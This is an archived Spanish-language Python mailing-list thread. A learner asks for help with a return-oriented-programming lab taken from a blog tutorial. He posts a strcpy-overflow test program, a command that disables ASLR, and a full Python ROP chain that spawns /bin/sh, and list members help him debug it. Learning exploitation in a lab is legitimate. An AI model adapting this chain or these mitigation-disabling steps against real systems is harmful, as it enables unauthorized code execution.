[pyar] ¿Hay alguna forma de forzar a python para que funcione en 32 bits?

Alberto Perez ksian1685 en gmail.com
Mie Ago 19 22:41:58 ART 2015


Ezequiel Brizuela, me siento como Gorgory
https://www.youtube.com/watch?v=q6-zR8i_-Fs ,jajaja. No tengo mucha
experiencia en python. Cómo se arreglaría ese "tipico" error?.
googleé un poco e intenté modificar la última linea: print
ex.encode("utf8") pero me dice que el byte 0xb9 no puede decode o algo así.

El 19 de agosto de 2015, 19:24, Ezequiel Brizuela [aka EHB or qlixed] <
qlixed en gmail.com> escribió:

> Si usan python 3 ojo con los Unicode! la segunda ejecucion parece ser un
> tipico issue de unicode-en-donde-deberia-haber-un-ascii-char :D
>
> ~ QliXeD [ aka EHB ] ~
>
>
> El 19 de agosto de 2015, 1:21 p. m., Alberto Perez<ksian1685 en gmail.com>
> escribió:
>
>> Me parece que el error esta en cómo confeccioné el exploit, porque tanto
>> si lo ejecuto así:
>> notebook en debian:~/Laboratorio/ROP$ ./test2 `./test2.py`
>> hola
>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�/bin�����
>> Violación de segmento
>> noteboook en debian:~/Laboratorio/ROP$
>>
>> como así:
>> notebook en debian:~/Laboratorio/ROP$ sudo execstack -s ./test1 `./test1.py`
>> execstack: cannot open
>> "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAM":
>> Nombre de fichero demasiado largo
>> execstack: cannot open /bin*�@=�": No existe el fichero o el directorio
>> execstack: cannot open M": No existe el fichero o el directorio
>> execstack: cannot open sh#*�D=�": No existe el fichero o el directorio
>> execstack: cannot open *�G�z
>>                            =�": No existe el fichero o el directorio
>> execstack: cannot open Q�G�@�*�G�z
>>
>> �####�####�####�####�####�####�####�####�####�####�####��": No existe el
>> fichero o el directorio
>> notebook en debian:~/Laboratorio/ROP$
>> Me tira error.
>>
>>
>> El 19 de agosto de 2015, 8:39, Alberto Perez <ksian1685 en gmail.com>
>> escribió:
>>
>>> Falcon,
>>>
>>> 1-Me tira un mensaje de violación de segmento.
>>>
>>> 2-Lo complilé con -fno-stack-protector
>>>
>>> 3-casualmente también me dio 262 bytes.
>>>
>>> Sé que no es un tema específico de la lista, así que gracias por el
>>> internes.
>>>
>>>
>>> El 18 de agosto de 2015, 19:52, Francisco Falcon <fdfalcon en gmail.com>
>>> escribió:
>>>
>>>> Hola,
>>>>
>>>> La versión de Python de 64 bits no debería influir en este caso, lo más
>>>> probable es que el problema venga por otro lado.
>>>>
>>>> Algunas preguntas para tratar de aislar el problema:
>>>>  * Qué significa exactamente que "el exploit no funciona"? El programa
>>>> vulnerable crashea sin darte la shell? Lo debuggeaste con gdb para ver
>>>> dónde crashea?
>>>>  * Compilaste el programa vulnerable con -fno-stack-protector?
>>>>  * Iba a preguntar si acomodaste las direcciones de los ROP gadgets
>>>> para tu binario en particular, pero parece que sí lo hiciste.
>>>>  * Te fijaste que, en tu binario en particular, el stack frame de la
>>>> función saluda() también tenga 262 bytes de distancia entre el array
>>>> nombre[] y la dirección de retorno guardada en el stack?
>>>>
>>>> Saludos
>>>>
>>>> 2015-08-17 22:45 GMT-03:00 Alberto Perez <ksian1685 en gmail.com>:
>>>>
>>>>> Gracias por contestar. De todos modos, el autor del blog donde estaban
>>>>> als instrucciones me aclaró que posiblemente en 64 bits existan otros tipo
>>>>> de problemas. Así que lo probaré más adelante en una maquina virtual
>>>>>
>>>>> El 17 de agosto de 2015, 15:19, Joaquin Duo <joaduo en gmail.com>
>>>>> escribió:
>>>>>
>>>>>> En linux podés instalar un entorno de 32 bits (dentro de un OS de
>>>>>> 64bits)
>>>>>>
>>>>>>
>>>>>> http://askubuntu.com/questions/297151/how-to-run-32-bit-programs-on-a-64-bit-system
>>>>>>
>>>>>> En este caso creo que deberías poder instalar el paquete de python de
>>>>>> 32 bits y correr ese python.
>>>>>> Te respondo la generalidad porque no lo he hecho, pero obviamente se
>>>>>> puede (porque cualquier programa de 32bits puede correr, por ejemplo el
>>>>>> skype)
>>>>>>
>>>>>> Vas a tener que buscar en internet cómo instalar paquetes de 32bits,
>>>>>> seguro que sale
>>>>>>
>>>>>> Saludos!
>>>>>> Joaquín
>>>>>>
>>>>>>
>>>>>> 2015-08-16 21:22 GMT-03:00 Alberto Perez <ksian1685 en gmail.com>:
>>>>>>
>>>>>>> No estoy seguro que tenga que ver con python, pero seguro ustedes
>>>>>>> sí. Resulta que estaba siguiendo las instrucciones de un blogger: (
>>>>>>> http://www.ellaberintodefalken.com/2013/08/ROP-Return-Oriented-Programming.html
>>>>>>> )
>>>>>>> 1-hice el código en c (que compilé agregando gcc -m32 porque lo
>>>>>>> estoy ejecutando en una maquina de 32 bits):
>>>>>>>
>>>>>>> #include <stdio.h>
>>>>>>> #include <string.h>
>>>>>>>
>>>>>>> void saluda (char * texto){
>>>>>>>     char nombre[250];
>>>>>>>     strcpy(nombre, texto);
>>>>>>>     printf("hola %s\n", nombre);
>>>>>>> }
>>>>>>>
>>>>>>> int main (int argc, char **argv){
>>>>>>>     saluda(argv[1]);
>>>>>>>     return 0;
>>>>>>> }
>>>>>>>
>>>>>>> 2- modifiqué la configuracion de mi computadora:
>>>>>>> echo "0" > /proc/sys/kernel/randomize_va_space
>>>>>>>
>>>>>>> 3-hice el exploit en python:
>>>>>>>
>>>>>>> from struct import pack
>>>>>>>
>>>>>>>
>>>>>>> ex = 'A'*262
>>>>>>> ex += pack('I',0x080e1db9) #pop %eax
>>>>>>> ex += '/bin'
>>>>>>> ex += pack('I',0x0806e39a) #pop %edx
>>>>>>> ex += pack('I',0x080e99a0) #.data
>>>>>>> ex += pack('I',0x08099fad) #mov %eax,(%edx)
>>>>>>> ex += pack('I',0x080e1db9) #pop %eax
>>>>>>> ex += '/sh#'
>>>>>>> ex += pack('I',0x0806e39a) #pop %edx
>>>>>>> ex += pack('I',0x080e99a4) #.data+4
>>>>>>> ex += pack('I',0x08099fad) #mov %eax,(%edx)
>>>>>>> ex += pack('I',0x0806e39a) #pop %edx
>>>>>>> ex += pack('I',0x080e99a7) #.data+7
>>>>>>> ex += pack('I',0x080b7c20) #xor %eax,%eax
>>>>>>> ex += pack('I',0x08099fad) #mov %eax,(%edx)
>>>>>>> ex += pack('I',0x0806e3c1) #pop %ecx; pop %ebx
>>>>>>> ex += pack('I',0x080e99a7) #.data+7
>>>>>>> ex += pack('I',0x080e99a0) #.data
>>>>>>> ex += pack('I',0x0806e39a) #pop %edx
>>>>>>> ex += pack('I',0x080e99a7) #.data+7
>>>>>>> ex += pack('I',0x080b7c20) #xor %eax,%eax
>>>>>>> for i in range(int("0xb",16)):
>>>>>>>         ex += pack('I',0x0805c5fc) #inc %eax;pop %edi
>>>>>>>         ex += '####'
>>>>>>>
>>>>>>> ex += pack('I',0x806ea30) #int 0x80
>>>>>>>
>>>>>>> print ex
>>>>>>>
>>>>>>> resulta que no funciona y se me ocurre que puede ser porque estoy
>>>>>>> usando python de arquitectura de 64 bits. ¿Hay alguna forma de forzar a
>>>>>>> python para que funcione en 32 bits?
>>>>>>> gracias.
>>>>>>>
>>>>>>>
>>>>>>>
>>>>>>> _______________________________________________
>>>>>>> pyar mailing list pyar en python.org.ar
>>>>>>> http://listas.python.org.ar/listinfo/pyar
>>>>>>>
>>>>>>> PyAr - Python Argentina - Sitio web: http://www.python.org.ar/
>>>>>>>
>>>>>>> La lista de PyAr esta Hosteada en USLA - Usuarios de Software Libre
>>>>>>> de Argentina - http://www.usla.org.ar
>>>>>>>
>>>>>>
>>>>>>
>>>>>> _______________________________________________
>>>>>> pyar mailing list pyar en python.org.ar
>>>>>> http://listas.python.org.ar/listinfo/pyar
>>>>>>
>>>>>> PyAr - Python Argentina - Sitio web: http://www.python.org.ar/
>>>>>>
>>>>>> La lista de PyAr esta Hosteada en USLA - Usuarios de Software Libre
>>>>>> de Argentina - http://www.usla.org.ar
>>>>>>
>>>>>
>>>>>
>>>>> _______________________________________________
>>>>> pyar mailing list pyar en python.org.ar
>>>>> http://listas.python.org.ar/listinfo/pyar
>>>>>
>>>>> PyAr - Python Argentina - Sitio web: http://www.python.org.ar/
>>>>>
>>>>> La lista de PyAr esta Hosteada en USLA - Usuarios de Software Libre de
>>>>> Argentina - http://www.usla.org.ar
>>>>>
>>>>
>>>>
>>>> _______________________________________________
>>>> pyar mailing list pyar en python.org.ar
>>>> http://listas.python.org.ar/listinfo/pyar
>>>>
>>>> PyAr - Python Argentina - Sitio web: http://www.python.org.ar/
>>>>
>>>> La lista de PyAr esta Hosteada en USLA - Usuarios de Software Libre de
>>>> Argentina - http://www.usla.org.ar
>>>>
>>>
>>>
>>
>> _______________________________________________
>> pyar mailing list pyar en python.org.ar
>> http://listas.python.org.ar/listinfo/pyar
>>
>> PyAr - Python Argentina - Sitio web: http://www.python.org.ar/
>>
>> La lista de PyAr esta Hosteada en USLA - Usuarios de Software Libre de
>> Argentina - http://www.usla.org.ar
>>
>
>
> _______________________________________________
> pyar mailing list pyar en python.org.ar
> http://listas.python.org.ar/listinfo/pyar
>
> PyAr - Python Argentina - Sitio web: http://www.python.org.ar/
>
> La lista de PyAr esta Hosteada en USLA - Usuarios de Software Libre de
> Argentina - http://www.usla.org.ar
>
------------ próxima parte ------------
Se ha borrado un adjunto en formato HTML...
URL: <http://listas.python.org.ar/pipermail/pyar/attachments/20150819/a3562b4c/attachment-0001.html>


More information about the pyar mailing list